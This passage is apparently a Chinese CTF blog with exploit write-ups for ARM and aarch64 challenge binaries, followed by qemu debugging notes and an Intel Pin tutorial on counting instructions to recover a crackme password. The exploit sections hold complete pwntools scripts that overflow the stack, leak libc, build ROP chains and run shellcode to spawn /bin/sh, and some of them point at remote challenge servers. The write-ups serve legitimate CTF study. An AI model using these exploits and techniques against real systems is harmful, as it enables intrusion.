        io = process(["qemu-arm", "-g", "1234", "./typo"])
    else:
        io = remote("pwn2.jarvisoj.com", 9888, timeout = 2)
    
    io.sendafter("quit\n", "\n")
    io.recvline()
    
    '''
    jarvisOJ_typo [master●●] ROPgadget --binary ./typo --string /bin/sh
    Strings information
    ============================================================
    0x0006c384 : /bin/sh
    jarvisOJ_typo [master●●] ROPgadget --binary ./typo --only "pop|ret" | grep r0
    0x00020904 : pop {r0, r4, pc}
    '''
    
    payload = 'a' * i + p32(0x20904) + p32(0x6c384) * 2 + p32(0x110B4)
    success(i)
    io.sendlineafter("\n", payload)

    #  pause()
    try:
        #  pdb.set_trace()
        io.sendline("echo aaaa")
        io.recvuntil("aaaa", timeout = 1)
    except EOFError:
        io.close()
        continue
    else:
        io.interactive()

Codegate2018 - melong

题目和脚本链接

静态分析

melong: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=2c55e75a072020303e7c802d32a5b82432f329e9, not stripped
[*] '/home/m4x/pwn_repo/Codegate2018_Melong/melong'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

思路分析

程序逻辑很简单, 就不写分析过程了, 漏洞很好找, write_diary 中 read 的长度是由我们输入的, 可以栈溢出, 先进入 PT 函数, 输入 -1, 再进入 write_diary, 就可以实现 arbitrary overflow 了, 因此思路同 x64 下的 rop 相同, 先 leak 出 libc 基址, 然后控制执行 system("/bin/sh”) 即可

比赛时这道题目并没有给 libc 文件, 为了简化演示过程, 我直接用了我本地的 libc

exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
from time import sleep
import sys
context.binary = "./melong"

if sys.argv[1] == "r":
    io = remote("localhost", 9999)
elif sys.argv[1] == "l":
    io = process(["qemu-arm", "-L", "./", "./melong"])
else:
    io = process(["qemu-arm", "-g", "1234", "-L", "./", "./melong"])

elf = ELF("./melong", checksec = False)
libc = ELF("./lib/libc.so.6", checksec = False)
context.log_level = "debug"

def check(height, weight):
    io.sendlineafter(":", "1")
    io.sendlineafter(" : ", str(height))
    io.sendlineafter(" : ", str(weight))

def PT(size):
    io.sendlineafter(":", "3")
    io.sendlineafter("?\n", str(size))

def write_diray(payload):
    io.sendlineafter(":", "4")
    io.send(payload)

def logout():
    io.sendlineafter(":", "6")

if __name__ == "__main__":
    check(1.82, 60)
    PT(-1)
    '''
    0x00011bbc : pop {r0, pc}
    '''
    pr0 = 0x00011bbc
    leak  = flat(cyclic(0x54), pr0, elf.got['puts'], elf.plt['puts'])
    '''
    pwndbg> x/i $pc
    => 0xff6a7a48 <puts+400>:	pop	{r4, r5, r6, r7, r8, r9, r10, pc}
    '''
    leak += flat(elf.sym['main']) * 8
    write_diray(leak)
    logout()
    io.recvuntil("See you again :)\n")
    libc.address = u32(io.recvn(4)) - libc.sym['puts']
    success("libc.address -> {:#x}".format(libc.address))
    #  raw_input("DEBUG: ")

    check(1.82, 60)
    PT(-1)
    rop = cyclic(0x54) + p32(pr0) + p32(next(libc.search("/bin/sh"))) + p32(libc.sym['system'])
    write_diray(rop)
    logout()

    io.interactive()

Shanghai2018 - baby_arm

binary & exploit here

静态分析

题目给了一个 aarch64 架构的文件，没有开 canary 保护

Shanghai2018_baby_arm [master] check ./pwn 
+ file ./pwn
./pwn: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, BuildID[sha1]=e988eaee79fd41139699d813eac0c375dbddba43, stripped
+ checksec ./pwn
[*] '/home/m4x/pwn_repo/Shanghai2018_baby_arm/pwn'
    Arch:     aarch64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

看一下程序逻辑

__int64 main_logic()
{
  Init();
  write(1LL, "Name:", 5LL);
  read(0LL, input, 512LL);
  sub_4007F0();
  return 0LL;
}

void sub_4007F0()
{
  __int64 v0; // [xsp+10h] [xbp+10h]

  read(0LL, &v0, 512LL);
}

程序的主干读取了 512 个字符到一个全局变量上，而在 sub_4007F0() 中，又读取了 512 个字节到栈上，需要注意的是这里直接从 frame pointer + 0x10 开始读取，因此即使开了 canary 保护也无所谓。

思路

理一下思路，可以直接 rop，但我们不知道远程的 libc 版本，同时也发现程序中有调用 mprotect 的代码段

.text:00000000004007C8                 STP             X29, X30, [SP,#-0x10]!
.text:00000000004007CC                 MOV             X29, SP
.text:00000000004007D0                 MOV             W2, #0
.text:00000000004007D4                 MOV             X1, #0x1000
.text:00000000004007D8                 MOV             X0, #0x1000
.text:00000000004007DC                 MOVK            X0, #0x41,LSL#16
.text:00000000004007E0                 BL              .mprotect
.text:00000000004007E4                 NOP
.text:00000000004007E8                 LDP             X29, X30, [SP],#0x10
.text:00000000004007EC                 RET

但这段代码把 mprotect 的权限位设成了 0，没有可执行权限，这就需要我们通过 rop 控制 mprotect 设置如 bss 段等的权限为可写可执行

因此可以有如下思路：

第一次输入 name 时，在 bss 段写上 shellcode
通过 rop 调用 mprotect 改变 bss 的权限
返回到 bss 上的 shellcode

mprotect 需要控制三个参数，可以考虑使用 ret2csu 这种方法，可以找到如下的 gadgets 来控制 x0, x1, x2 寄存器

.text:00000000004008AC                 LDR             X3, [X21,X19,LSL#3]
.text:00000000004008B0                 MOV             X2, X22
.text:00000000004008B4                 MOV             X1, X23
.text:00000000004008B8                 MOV             W0, W24
.text:00000000004008BC                 ADD             X19, X19, #1
.text:00000000004008C0                 BLR             X3
.text:00000000004008C4                 CMP             X19, X20
.text:00000000004008C8                 B.NE            loc_4008AC
.text:00000000004008CC
.text:00000000004008CC loc_4008CC                              ; CODE XREF: sub_400868+3C↑j
.text:00000000004008CC                 LDP             X19, X20, [SP,#var_s10]
.text:00000000004008D0                 LDP             X21, X22, [SP,#var_s20]
.text:00000000004008D4                 LDP             X23, X24, [SP,#var_s30]
.text:00000000004008D8                 LDP             X29, X30, [SP+var_s0],#0x40
.text:00000000004008DC                 RET

最终的 exp 如下：

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
import sys
context.binary = "./pwn"
context.log_level = "debug"

if sys.argv[1] == "l":
    io = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "./pwn"])
elif sys.argv[1] == "d":
    io = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu", "./pwn"])
else:
    io = remote("106.75.126.171", 33865)

def csu_rop(call, x0, x1, x2):
    payload = flat(0x4008CC, '00000000', 0x4008ac, 0, 1, call)
    payload += flat(x2, x1, x0)
    payload += '22222222'
    return payload


if __name__ == "__main__":
    elf = ELF("./pwn", checksec = False)
    padding = asm('mov x0, x0')

    sc = asm(shellcraft.execve("/bin/sh"))
    #  print disasm(padding * 0x10 + sc)
    io.sendafter("Name:", padding * 0x10 + sc)
    sleep(0.01)

    #  io.send(cyclic(length = 500, n = 8))
    #  rop = flat()
    payload = flat(cyclic(72), csu_rop(elf.got['read'], 0, elf.got['__gmon_start__'], 8))
    payload += flat(0x400824)
    io.send(payload)
    sleep(0.01)
    io.send(flat(elf.plt['mprotect']))
    sleep(0.01)

    raw_input("DEBUG: ")
    io.sendafter("Name:", padding * 0x10 + sc)
    sleep(0.01)

    payload = flat(cyclic(72), csu_rop(elf.got['__gmon_start__'], 0x411000, 0x1000, 7))
    payload += flat(0x411068)
    sleep(0.01)
    io.send(payload)

    io.interactive()

notice

同时需要注意的是，checksec 检测的结果是开了 nx 保护，但这样检测的结果不一定准确，因为程序的 nx 保护也可以通过 qemu 启动时的参数 -nx 来决定（比如这道题目就可以通过远程失败时的报错发现程序开了 nx 保护），老版的 qemu 可能没有这个参数。

Desktop ./qemu-aarch64 --version
qemu-aarch64 version 2.7.0, Copyright (c) 2003-2016 Fabrice Bellard and the QEMU Project developers
Desktop ./qemu-aarch64 -h| grep nx
-nx           QEMU_NX           enable NX implementation

如果有如下的报错，说明没有 aarch64 的汇编器

1
2
3

[ERROR] Could not find 'as' installed for ContextType(arch = 'aarch64', binary = ELF('/home/m4x/Projects/ctf-challenges/pwn/arm/Shanghai2018_baby_arm/pwn'), bits = 64, endian = 'little', log_level = 10)
    Try installing binutils for this architecture:
    https://docs.pwntools.com/en/stable/install/binutils.html

可以参考官方文档的解决方案

Shanghai2018_baby_arm [master●] apt search binutils| grep aarch64
p   binutils-aarch64-linux-gnu                                         - GNU binary utilities, for aarch64-linux-gnu target                           
p   binutils-aarch64-linux-gnu:i386                                    - GNU binary utilities, for aarch64-linux-gnu target                           
p   binutils-aarch64-linux-gnu-dbg                                     - GNU binary utilities, for aarch64-linux-gnu target (debug symbols)           
p   binutils-aarch64-linux-gnu-dbg:i386                                - GNU binary utilities, for aarch64-linux-gnu target (debug symbols)     
Shanghai2018_baby_arm [master●] sudo apt install bintuils-aarch64-linux-gnu

aarch64 的文件在装 libc 时是 arm64，在装 binutils 时是 aarch64

libc_datebase for arm?
如何多快好省的分析 strip 后的程序
- 后来了解到，对于静态编译的 bianry，可以使用 lscan, flirt, rizzo, bindiff 等多种方法恢复部分符号表

后记

后来遇到 pwnable.kr 的 mipstake 这道题目，发现用以前的方法不能运行了

pwnable_mipstake [master●●] ls lib 
ld.so.1  libc.so.6
pwnable_mipstake [master●●] bat run.sh 
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: run.sh
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ #!/usr/bin/env bash
   2   │ set -euxo pipefail
   3   │ 
   4   │ unset LD_LIBRARY_PATH
   5   │ qemu-mips -L ./ ./mipstake
───────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────
pwnable_mipstake [master●●] ./run.sh 
+ unset LD_LIBRARY_PATH
+ qemu-mips -L ./ ./mipstake
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
./run.sh: 行 5: 14538 段错误               qemu-mips -L ./ ./mipstake

把 ld.so, libc.so 放到同一目录下而不是使用 -L /usr/mips-linux-gnu/，可以让 gdb-multiarch 在调试时更清楚的识别对应的地址是什么文件而不只是显示一个 [linker]。这是在和 D4rk3r 师傅讨论一道题目的时候偶然发现的。

但 ld.so.1，libc.so.6 在我本地又是可以运行的，说明不是 libc 版本的问题。

用 strace 跟踪一下

pwnable_mipstake [master●●] unset LD_LIBRARY_PATH          
pwnable_mipstake [master●●] qemu-mips -strace -L ./ ./mipstake
14911 brk(NULL) = 0x00412000
14911 mmap2(NULL,8192,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x7f7c8000
14911 uname(0x7fffeac8) = 0
14911 access("/etc/ld.so.nohwcap",F_OK) = -1 errno=2 (No such file or directory)
14911 access("/etc/ld.so.preload",R_OK) = -1 errno=2 (No such file or directory)
14911 openat(AT_FDCWD,"/etc/ld.so.cache",O_RDONLY|O_CLOEXEC) = 3
14911 fstat64(3,0x7fffe718) = 0
14911 mmap2(NULL,148329,PROT_READ,MAP_PRIVATE,3,0) = 0x7f7a3000
14911 close(3) = 0
--- SIGSEGV {si_signo=SIGSEGV, si_code=1, si_addr=0xcf9e3008} ---
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
[1]    14911 segmentation fault  qemu-mips -strace -L ./ ./mipstake

发现了问题，/etc/ld.so.nohwacap，/etc/ld.so.preload 这些文件不存在（原因可能是因为只用包管理装了对应 arch 的 libc 而没有其他信息）

pwnable_mipstake [master●●] ls /usr/mips-linux-gnu 
lib

# 没有 etc 这个目录

那么 /etc/ld.so.nohwacap 这些文件是什么作用呢？google 了一下，发现大概就是和 LD_PRELOAD 一个作用

https://superuser.com/a/1183252/960572

但知道了原因，不知道要怎么解决。。。刚开始是想看看有没有什么包能安装其他 arch 的 /etc/ld.so.preload 这些文件，但找了一圈没找到（如果有师傅有这样的解决方法请务必指教）。

后来偶然搜索到了这部分的源码

  /* We have two ways to specify objects to preload: via environment
     variable and via the file /etc/ld.so.preload.  The latter can also
     be used when security is enabled.  */
  assert (*first_preload == NULL);
  struct link_map **preloads = NULL;
  unsigned int npreloads = 0;
  if (__glibc_unlikely (preloadlist != NULL))
    {
      HP_TIMING_NOW (start);
      npreloads += handle_ld_preload (preloadlist, main_map);
      HP_TIMING_NOW (stop);
      HP_TIMING_DIFF (diff, start, stop);
      HP_TIMING_ACCUM_NT (load_time, diff);
    }
  /* There usually is no ld.so.preload file, it should only be used
     for emergencies and testing.  So the open call etc should usually
     fail.  Using access() on a non-existing file is faster than using
     open().  So we do this first.  If it succeeds we do almost twice
     the work but this does not matter, since it is not for production
     use.  */

从注释找到了解决方案，没有 /etc/ld.so.preload，我们还可以更改 LD_PRELAOD 这个环境变量。

修改一下运行脚本

pwnable_mipstake [master●●] bat run.sh 
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: run.sh
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ #!/usr/bin/env bash
   2   │ set -euxo pipefail
   3   │ 
   4   │ LD_PRELOAD="./lib/libc.so.6" "./lib/ld.so.1" "./mipstake"
   5   │ qemu-mips ./mipstake
───────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────
pwnable_mipstake [master●●] ./run.sh 
+ LD_PRELOAD=./lib/libc.so.6
+ ./lib/ld.so.1 ./mipstake
ERROR: ld.so: object './lib/libc.so.6' from LD_PRELOAD cannot be preloaded (wrong ELF class: ELFCLASS32): ignored.
no need to brute-force..
listening...
^C

终于可以正常运行了，虽然还有报错，但只是 64 位系统和 32 位 libc 的兼容问题，影响不大。

Last

后来又发现只用 user mode 的 qemu 来模拟还是有很多缺陷的。。。像 gdb-multriarch 莫名跑飞或者甚至文件都不能运行。踩了很多次坑后有如下发现：

可以使用 docker，推荐 skysider/multiarch-docker。大部分的问题应该都能解决了
如果再调试时有问题，可以试下不用 gdb plugin，有些插件对异架构的识别效果并不好
如果还有问题，那就只能用系统级的 qemu 来模拟了，推荐一片文章

如上边链接中所说

MIPS system is generally the most effective method of debugging as you do not have to deal with the process being emulated inside of an x86 QEMU User Mode process.

本文将不再更新(除非遇到很让人眼前一亮的方法)，但欢迎私下交流和介绍经验:)

Reference

https://elixir.bootlin.com/linux/v2.6.32.51/source/arch/arm/include/asm/unistd.h

https://bbs.pediy.com/thread-224583.htm

https://courses.washington.edu/cp105/02_Exceptions/Calling%20Standard.html

http://hideroot.tistory.com/46

http://www.freebuf.com/articles/terminal/134980.html

https://code.woboq.org/userspace/glibc/elf/rtld.c.html#1606

https://superuser.com/a/1183252/960572

https://www.ringzerolabs.com/2018/03/the-wonderful-world-of-mips.html

Reverse is Multiplex, You Need Pintools

Tue, 03 Jul 2018 12:16:10 +0800

intel pin

什么是 pin

pin 是 intel 开发的一款二进制程序的插桩分析工具，支持 x86/x64 & windows/linux/mac，提供了丰富的 API 供使用者用 C/C++ 编写 pintool 分析程序

什么是插桩(instrument)

通俗的来说，插桩就是在已有的源代码/二进制程序中插入某些代码以便于自己分析，比如在调试时使用 printf 打印变量值就属于在源代码级别的插桩。而intel pin就是在二进制程序级别（没有源代码）插桩的一款工具

pin 和 pintool

pin 的安装，pintool 的编译

pin 的安装很简单，这里以 64 位的 Linux 为例来说明，从官网上下载 pin 组件后，解压即可，在解压后的文件夹内有编译好的二进制程序 pin

pin-3.6-gcc-linux ls
doc  extlicense  extras  ia32  intel64  LICENSE  pin  README  redist.txt  source
pin-3.6-gcc-linux file pin 
pin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, BuildID[sha1]=7beaa83f9142955a6e933bf29d4a8aa1269298bc, stripped
pin-3.6-gcc-linux ./pin 
E: Missing application name
Pin: pin-3.6-97554-31f0a167d
Copyright (c) 2003-2017, Intel Corporation. All rights reserved.

Usage: pin [OPTION] [-t <tool> [<toolargs>]] -- <command line>
Use -help for a description of options

在 source/tools/ManualExamples 中有一些现成的 pintool 可以使用，基本涵盖了各个模块的用法，这里以 inscount0 这个 pintool 为例介绍 pin 的使用方法

pin-3.6-gcc-linux cd source/tools/ManualExamples
ManualExamples file inscount0.cpp
inscount0.cpp: C source, ASCII text
ManualExamples make obj-intel64/inscount0.so TARGET=intel64
g++ -Wall -Werror -Wno-unknown-pragmas -D__PIN__=1 -DPIN_CRT=1 -fno-stack-protector -fno-exceptions -funwind-tables -fasynchronous-unwind-tables -fno-rtti -DTARGET_IA32E -DHOST_IA32E -fPIC -DTARGET_LINUX -fabi-version=2  -I../../../source/include/pin -I../../../source/include/pin/gen -isystem /home/m4x/pin-3.6-gcc-linux/extras/stlport/include -isystem /home/m4x/pin-3.6-gcc-linux/extras/libstdc++/include -isystem /home/m4x/pin-3.6-gcc-linux/extras/crt/include -isystem /home/m4x/pin-3.6-gcc-linux/extras/crt/include/arch-x86_64 -isystem /home/m4x/pin-3.6-gcc-linux/extras/crt/include/kernel/uapi -isystem /home/m4x/pin-3.6-gcc-linux/extras/crt/include/kernel/uapi/asm-x86 -I../../../extras/components/include -I../../../extras/xed-intel64/include/xed -I../../../source/tools/InstLib -O3 -fomit-frame-pointer -fno-strict-aliasing   -c -o obj-intel64/inscount0.o inscount0.cpp
g++ -shared -Wl,--hash-style=sysv ../../../intel64/runtime/pincrt/crtbeginS.o -Wl,-Bsymbolic -Wl,--version-script=../../../source/include/pin/pintool.ver -fabi-version=2    -o obj-intel64/inscount0.so obj-intel64/inscount0.o  -L../../../intel64/runtime/pincrt -L../../../intel64/lib -L../../../intel64/lib-ext -L../../../extras/xed-intel64/lib -lpin -lxed ../../../intel64/runtime/pincrt/crtendS.o -lpin3dwarf  -ldl-dynamic -nostdlib -lstlport-dynamic -lm-dynamic -lc-dynamic -lunwind-dynamic
ManualExamples file obj-intel64/inscount0.so 
obj-intel64/inscount0.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=3baa29dd54235acaab02edc94bf9ac377dd7b0e5, not stripped

此时在 obj-intel64 下编译生成了 inscount0.so，这个 so 即为一种 pintool，功能为记录程序执行的指令的条数；

判断 pintool 的功能可以阅读 pintool 源代码或者使用下条指令

$ pin -t your_pintool -h – your_application

类似的，要编译 32 位的 pintool 可以使用

`1`	`make obj-ia32/inscount0.so`

编译 ManualExamples 中的所有 pintool 可以使用

1
2

make all TAEGET=intel64
make all TAEGET=ia32

pin 的使用

pin 的基本命令格式如下

`1`	`pin -t your_pintool -- your_binary <arg>`

以刚刚编译的 inscount0 这个 pintool 为例

ManualExamples ../../../pin -t ./obj-intel64/inscount0.so -- /bin/ls -a
.		       inscount2.cpp	  obj-intel64
..		       inscount.out	  pinatrace.cpp
buffer_linux.cpp       inscount_tls.cpp   pin.log
buffer_windows.cpp     invocation.cpp	  proccount.cpp
countreps.cpp	       isampling.cpp	  replacesigprobed.cpp
detach.cpp	       itrace.cpp	  safecopy.cpp
divide_by_zero_unix.c  little_malloc.c	  stack-debugger.cpp
divide_by_zero_win.c   logtrace.cpp	  stack-debugger-tutorial.sln
emudiv.cpp	       makefile		  stack-debugger-tutorial.vcxproj
fibonacci.cpp	       makefile.rules	  stack-debugger-tutorial.vcxproj.filters
follow_child_app1.cpp  malloc.cpp	  statica.cpp
follow_child_app2.cpp  malloc_mt.cpp	  staticcount.cpp
follow_child_tool.cpp  malloctrace.cpp	  strace.cpp
fork_app.cpp	       myInscount0.cpp	  test
fork_jit_tool.cpp      myInscount1.cpp	  test.c
imageload.cpp	       myMalloctrace.cpp  test-packed
inscount0.cpp	       nonstatica.cpp	  tracer.cpp
inscount1.cpp	       obj-ia32		  w_malloctrace.cpp
ManualExamples cat inscount.out 
Count 813449

inscount 默认结果保存在 inscount.out 这个文件中，在上例中，即此时 ls -a 这条命令共执行了 813449 条指令

pintool 的分析

同样以 inscount0 为例分析，查看 inscount0.cpp 的内容

#include <iostream>
#include <fstream>
#include "pin.H"

ofstream OutFile;

// The running count of instructions is kept here
// make it static to help the compiler optimize docount
static UINT64 icount = 0;

// This function is called before every instruction is executed
VOID docount() { icount++; }
    
// Pin calls this function every time a new instruction is encountered
VOID Instruction(INS ins, VOID *v)
{
    // Insert a call to docount before every instruction, no arguments are passed
    INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)docount, IARG_END);
}

KNOB<string> KnobOutputFile(KNOB_MODE_WRITEONCE, "pintool",
    "o", "inscount.out", "specify output file name");

// This function is called when the application exits
VOID Fini(INT32 code, VOID *v)
{
    // Write to a file since cout and cerr maybe closed by the application
    OutFile.setf(ios::showbase);
    OutFile << "Count " << icount << endl;
    OutFile.close();
}

/* ===================================================================== */
/* Print Help Message                                                    */
/* ===================================================================== */

INT32 Usage()
{
    cerr << "This tool counts the number of dynamic instructions executed" << endl;
    cerr << endl << KNOB_BASE::StringKnobSummary() << endl;
    return -1;
}

/* ===================================================================== */
/* Main                                                                  */
/* ===================================================================== */
/*   argc, argv are the entire command line: pin -t <toolname> -- ...    */
/* ===================================================================== */

int main(int argc, char * argv[])
{
    // Initialize pin
    if (PIN_Init(argc, argv)) return Usage();

    OutFile.open(KnobOutputFile.Value().c_str());

    // Register Instruction to be called to instrument instructions
    INS_AddInstrumentFunction(Instruction, 0);

    // Register Fini to be called when the application exits
    PIN_AddFiniFunction(Fini, 0);
    
    // Start the program, never returns
    PIN_StartProgram();
    
    return 0;
}

从 main 开始，首先调用了 PIN_init（53 行）进行初始化，然后使用 INS_AddInstrumenFunction 注册了一个插桩函数(58行)，根据 intel pin 的用户手册

PIN_CALLBACK LEVEL_PINCLIENT::INS_AddInstrumentFunction	(	INS_INSTRUMENT_CALLBACK 	fun,
VOID * 	val 
)		
Add a function used to instrument at instruction granularity

Parameters:
fun	Instrumentation function for instructions
val	passed as the second argument to the instrumentation function
Returns:
PIN_CALLBACK A handle to a callback that can be used to further modify this callback's properties
Note:
The pin client lock is obtained during the call of this API.
Availability:
Mode: JIT
O/S: Linux, Windows & OS X*
CPU: All

在这里该函数的作用是在指令粒度插入 Instruction 函数，即在每条指令执行前，都会进入 Instruction 这个函数中，其第2个参数为一个额外传递给 Instruction 的参数，即对应 VOID *v 这个参数，这里没有使用。而 Instruction 接受的第一个参数为 INS 结构，用来表示一条指令

而我们再看 Instruction 这个函数

VOID Instruction(INS ins, VOID *v)
{
    // Insert a call to docount before every instruction, no arguments are passed
    INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)docount, IARG_END);
}

在 Instruction 函数内部又使用 INS_InsertCall 注册了一个函数 docount，即在每条指令前实际插入了 docount 这个函数。需要注意的是 INS_InsertCall 试一个便餐函数，前三个参数分别为指令(ins)，插入的实际(IPOINT_BEFORE，表示在指令运行之前插入 docount 函数)，函数指针(docount，转化为了 AFUNPTR 类型)，之后的参数为传递给 docount 函数的参数，以 IARG_END 结尾

而 docount 函数（12 行）的作用就很明显了，每次将一个全局变量加 1，因此此时 /bin/ls -a 运行的模式如下:

...
icount++;
sub $0xff, %edx
icount++;
cmp %esi, %edx
icount++;
jle <L1>
icount++;
mov $0x1, %edi
icount++;
add $0x10, %eax
...

所以 inscount0 的用途就很明显了，每条指令前都调用 docount 函数将全局变量 icount 自增，最后通过PIN_AddFiniFunction 函数注册的 Fini 函数(25行)将结果写到一个文件中。

当这些函数都定义完后，就可以使用 PIN_StartProgram 来启动程序了

这里分析了一个最简单的 pintool 例子，更多 pintool 例子的分析和其他函数的使用可以参考 BrieflyX 的博客

pin in CTF

因为动态插桩有不重新编译即可收集二进制程序某些信息的特性，因此用 pin 求解一部分 CTF challenges 会异常的方便，下边给出一些例子和分析

NDH2K13-crackme-500

首先用常规方法对 crackme 文件进行分析

NDH2k13-crackme-500 [master] file crackme 
crackme: ELF 64-bit LSB executable, x86-64, invalid version (SYSV), for GNU/Linux 2.6.9, statically linked, corrupted section header size
NDH2k13-crackme-500 [master] nm ./crackme 

nm: out of memory allocating 109524665216 bytes after a total of 0 bytes
NDH2k13-crackme-500 [master] objdump -d ./crackme -M intel
objdump: ./crackme: 不可识别的文件格式
NDH2k13-crackme-500 [master] ./crackme 
Jonathan Salwan loves you <3
----------------------------

Password: test
Bad password

发现 section header 受到了损坏，用 IDA 打开时也有很多报错，这时我们尝试使用 intel pin 来求解这道题目，先使用最常见的统计指令条数的方法

NDH2k13-crackme-500 [master] ~/pin-3.6-gcc-linux/pin -t ./inscount0.so -- ./crackme <<< "a" >> /dev/null; cat inscount.out 
Count 160345
NDH2k13-crackme-500 [master●] ~/pin-3.6-gcc-linux/pin -t ./myInscount0.so -- ./crackme <<< "a" 
Jonathan Salwan loves you <3
----------------------------

Password: Bad password
Count: 163218
NDH2k13-crackme-500 [master●] ~/pin-3.6-gcc-linux/pin -t ./myInscount0.so -- ./crackme <<< "aa"
Jonathan Salwan loves you <3
----------------------------

Password: Bad password
Count: 166014
NDH2k13-crackme-500 [master●] ~/pin-3.6-gcc-linux/pin -t ./myInscount0.so -- ./crackme <<< "aaa"
Jonathan Salwan loves you <3
----------------------------

Password: Bad password
Count: 168810
NDH2k13-crackme-500 [master●] ~/pin-3.6-gcc-linux/pin -t ./myInscount0.so -- ./crackme <<< "aaaa"
Jonathan Salwan loves you <3
----------------------------

Password: Bad password
Count: 171606
NDH2k13-crackme-500 [master●] ~/pin-3.6-gcc-linux/pin -t ./myInscount0.so -- ./crackme <<< "aaaaa"
Jonathan Salwan loves you <3
----------------------------

Password: Bad password
Count: 174402
NDH2k13-crackme-500 [master●] bpython
bpython version 0.17.1 on top of Python 2.7.13+ /usr/bin/python2
>>> 174402 - 171606 == 171606 - 168810 == 168810 - 166014 == 166014 - 163218
True
>>>

此时我们发现了一个很有趣的特性，输入长度每次增加 1 时，指令条数也是以等差的规模递增的

myInscount0 是我在 inscount0 的基础上更改的 pintool，实现了从结果保存到文件到结果输出到标准输出的修改

我们写一个简单的脚本查看输入长度递增时，指令条数的变化规律

NDH2k13-crackme-500 [master●] cat guessLen.py 
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from subprocess import Popen, PIPE
from sys import argv
import string

pinPath = "/home/m4x/pin-3.6-gcc-linux/pin"
pinInit = lambda tool, elf: Popen([pinPath, '-t', tool, '--', elf], stdin = PIPE, stdout = PIPE)
pinWrite = lambda cont: pin.stdin.write(cont)
pinRead = lambda : pin.communicate()[0]

if __name__ == "__main__":
    last = 0
    for i in xrange(1, 30):
        pin = pinInit("./myInscount0.so", "./crackme")
        pinWrite("a" * i + '\n')
        now = int(pinRead().split("Count: ")[1])
        
        print "inputLen({:2d}) -> ins({}) -> delta({})".format(i, now, now - last)
        last = now

在我电脑上运行结果如下：

NDH2k13-crackme-500 [master●] python guessLen.py 
inputLen( 1) -> ins(160307) -> delta(160307)
inputLen( 2) -> ins(163103) -> delta(2796)
inputLen( 3) -> ins(165899) -> delta(2796)
inputLen( 4) -> ins(168695) -> delta(2796)
inputLen( 5) -> ins(171491) -> delta(2796)
inputLen( 6) -> ins(174287) -> delta(2796)
inputLen( 7) -> ins(177083) -> delta(2796)
inputLen( 8) -> ins(182804) -> delta(5721)
inputLen( 9) -> ins(182676) -> delta(-128)
inputLen(10) -> ins(185472) -> delta(2796)
inputLen(11) -> ins(188268) -> delta(2796)
inputLen(12) -> ins(191064) -> delta(2796)
inputLen(13) -> ins(193860) -> delta(2796)
inputLen(14) -> ins(196656) -> delta(2796)
inputLen(15) -> ins(199452) -> delta(2796)
inputLen(16) -> ins(202248) -> delta(2796)
inputLen(17) -> ins(205044) -> delta(2796)
inputLen(18) -> ins(207840) -> delta(2796)
inputLen(19) -> ins(210636) -> delta(2796)
inputLen(20) -> ins(213432) -> delta(2796)
inputLen(21) -> ins(216228) -> delta(2796)
inputLen(22) -> ins(219024) -> delta(2796)
inputLen(23) -> ins(221820) -> delta(2796)
inputLen(24) -> ins(224616) -> delta(2796)
inputLen(25) -> ins(227412) -> delta(2796)
inputLen(26) -> ins(230208) -> delta(2796)
inputLen(27) -> ins(244188) -> delta(13980)
inputLen(28) -> ins(244188) -> delta(0)
inputLen(29) -> ins(244188) -> delta(0)

可以发现，在输入长度 <8 时，指令条数是递增的，但长度为 8 与长度为 7 比较发生了突变，这个时候我们就可以大胆的推测当输入长度为 8 时，程序的运行流程有了较大的变化，正确的 flag 长度即为 8

我们以输入长度是 8 为前提，再查看不同输入下指令条数的变化规律

NDH2k13-crackme-500 [master●] ~/pin-3.6-gcc-linux/pin -t ./myInscount0.so -- ./crackme <<< ">???????"
Jonathan Salwan loves you <3
----------------------------

Password: Bad password
Count: 185714
NDH2k13-crackme-500 [master●] ~/pin-3.6-gcc-linux/pin -t ./myInscount0.so -- ./crackme <<< "????????"
Jonathan Salwan loves you <3
----------------------------

Password: Bad password
Count: 185714
NDH2k13-crackme-500 [master●] ~/pin-3.6-gcc-linux/pin -t ./myInscount0.so -- ./crackme <<< "@???????"
Jonathan Salwan loves you <3
----------------------------

Password: Bad password
Count: 185714
NDH2k13-crackme-500 [master●] ~/pin-3.6-gcc-linux/pin -t ./myInscount0.so -- ./crackme <<< "A???????"
Jonathan Salwan loves you <3
----------------------------

Password: Bad password
Count: 189752
NDH2k13-crackme-500 [master●] ~/pin-3.6-gcc-linux/pin -t ./myInscount0.so -- ./crackme <<< "B???????"
Jonathan Salwan loves you <3
----------------------------

Password: Bad password
Count: 185714
NDH2k13-crackme-500 [master●] ~/pin-3.6-gcc-linux/pin -t ./myInscount0.so -- ./crackme <<< "C???????"
Jonathan Salwan loves you <3
----------------------------

Password: Bad password
Count: 185714

可以发现，输入以 ASCII码顺序递增时，第一位为 A 时指令条数发生了变化，此时我们在进一步推测正确的 flag 第一位即为 A

再写一个脚本逐位爆破

NDH2k13-crackme-500 [master●] cat guessPWD.py 
#!/usr/bin/env python
